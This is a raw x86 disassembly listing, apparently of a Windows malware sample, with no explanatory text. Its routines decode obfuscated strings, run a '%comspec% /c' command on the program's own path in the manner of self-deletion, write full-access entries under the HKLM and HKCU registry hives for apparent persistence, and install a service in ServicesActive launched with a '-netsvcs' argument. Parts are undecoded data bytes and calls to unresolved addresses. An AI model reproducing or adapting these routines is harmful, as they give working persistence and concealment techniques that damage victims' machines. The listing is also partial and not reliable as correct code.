; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019B5
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 1E0934E8h
dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h
dd 2442A0Fh, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0E8900000h, 23F266Ch, 874C085h, 0E890006Ah
dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB10 proc near ; CODE XREF: sub_401195j
mov al, byte_4471A1
test al, al
jz short loc_40DB24
push offset word_4471A2
call near ptr 27F0883h
nop
loc_40DB24: ; CODE XREF: sub_40DB10+7j
mov al, 1
retn
sub_40DB10 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB40 proc near ; CODE XREF: sub_401E5Bj
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DB40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
call near ptr 28A1C3Ah
nop
push eax
nop
call near ptr 28A1050h
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27D0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017E4
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_443684
push ecx
nop
call sub_5EE1E5
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
nop
call near ptr 2880000h
mov esi, eax
test esi, esi
jbe loc_40E0A1
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_401424
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019B5
add esp, 18h
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+708h+var_634]
push 4
push ecx
mov byte ptr [esp+710h+var_4], 2
call sub_4019B5
add esp, 30h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019B5
add esp, 18h
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+714h+var_67C]
push 4
push eax
mov byte ptr [esp+71Ch+var_4], 4
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019B5
add esp, 1Ch
mov [esp+6E0h+var_6C8], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+708h+var_5D4]
push 7
push edx
mov byte ptr [esp+710h+var_4], 6
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019B5
add esp, 30h
mov [esp+6E0h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+714h+var_58C]
push 4
push ecx
mov byte ptr [esp+71Ch+var_4], 8
call sub_4019B5
add esp, 3Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
mov byte ptr [esp+734h+var_4], 9
push 18h
push 5
push 4Eh
push 14h
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019B5
add esp, 7Ch
mov [esp+6E0h+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+6F8h+var_5BC]
push 53h
push eax
mov byte ptr [esp+700h+var_4], 0Ah
call sub_4019B5
add esp, 20h
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019B5
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017E4
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017E4
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017E4
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017E4
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017E4
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017E4
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017E4
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017E4
push eax
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
lea edx, [esp+710h+var_6AC]
push edx
call sub_40102D
add esp, 34h
lea ecx, [esp+6E0h+var_64C]
mov byte ptr [esp+6E0h+var_4], 0Bh
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017E4
push eax
push esi
nop
call near ptr 27E0000h
push esi
call near ptr 2860000h
nop
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 28A1C3Ah
push eax
nop
call near ptr 28A1050h
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
nop
call sub_5EE1E5
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
nop
call near ptr 2810000h
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
lea eax, [esp+6FCh+var_110]
push 0
push eax
push 0
nop
call near ptr 2800000h
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E0A1: ; CODE XREF: sub_40DB40+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DB40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E220 proc near ; CODE XREF: sub_401726j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_401424
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
mov ebp, dword_50F754
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2920000h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017E4
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2920000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2920000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2970000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2920000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_401681
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_401681
push eax
push 1
push 0
mov ecx, ebx
call sub_401681
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2970000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2920000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E220 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_401447j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E7A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_401424
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_401424
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401424
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019B5
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019B5
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019B5
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40200E
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
mov esi, dword_50F754
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
mov ebp, dword_50F764
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_50F738
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017E4
push eax
push 80000002h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000002h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017E4
push eax
push 80000001h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017E4
push eax
push 80000001h
call esi
mov ecx, edi
call sub_401681
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E7A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EC30 proc near ; CODE XREF: sub_401497j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40EC30
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_401424
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C5D
push eax
call near ptr 27F0A13h
nop
lea ecx, [esp+5Ch+var_3C]
call sub_401424
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+60h+var_24]
call sub_4017E4
push eax
lea eax, [esp+64h+var_3C]
push offset dword_443684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_401424
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402153
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40EC30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED70 proc near ; CODE XREF: sub_402153j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40ED70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 2920AF1h
nop
mov edi, eax
test edi, edi
jnz short loc_40EDAF
xor al, al
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EDAF: ; CODE XREF: sub_40ED70+36j
lea ecx, [esp+54h+var_24]
call sub_401424
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017E4
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017E4
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_447874
call sub_4017E4
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017E4
push eax
push edi
nop
call near ptr 2930000h
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EE95
call near ptr 27C0896h
nop
cmp eax, 431h
jnz short loc_40EE79
mov ecx, [esp+54h+var_44]
push ebp
call sub_401942
mov esi, dword_50F74C
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_401497
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE79: ; CODE XREF: sub_40ED70+CBj
push edi
nop
call near ptr 29303B4h
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EE95: ; CODE XREF: sub_40ED70+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
nop
call near ptr 293060Dh
test eax, eax
push esi
mov esi, dword_50F74C
jnz short loc_40EEEC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EEEC: ; CODE XREF: sub_40ED70+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
